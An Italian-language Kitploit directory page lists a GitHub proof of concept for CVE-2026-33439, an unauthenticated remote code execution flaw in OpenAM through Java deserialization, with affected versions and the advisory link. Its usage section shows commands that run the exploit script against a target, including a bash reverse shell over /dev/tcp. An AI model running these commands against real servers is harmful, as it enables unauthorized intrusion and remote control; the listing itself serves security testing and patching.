Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33439-Poc — Proof of concept for CVE-2026-33439, an unauthenticated RCE in OpenAM via Java deserialization | Kitploit
Strumenti/GitHubGitHub/rh33t/cve-2026-33439-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubrh33t/cve-2026-33439-poc

CVE-2026-33439-Poc

Proof of concept for CVE-2026-33439, an unauthenticated RCE in OpenAM via Java deserialization

Vedi Repository
6011 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33439

RCE pre-auth in OpenIdentityPlatform OpenAM tramite deserializzazione Java non sicura del parametro jato.clientSession. Affette <= 16.0.5, corretto in 16.0.6.

Advisory: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj

Utilizzo

time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'

L'output è cieco. La richiesta si blocca finché il comando non termina, quindi il timing conferma l'esecuzione (--command 'sleep 5' impiega circa 5s).

Solo per test di sicurezza autorizzati.

Scarica lo strumento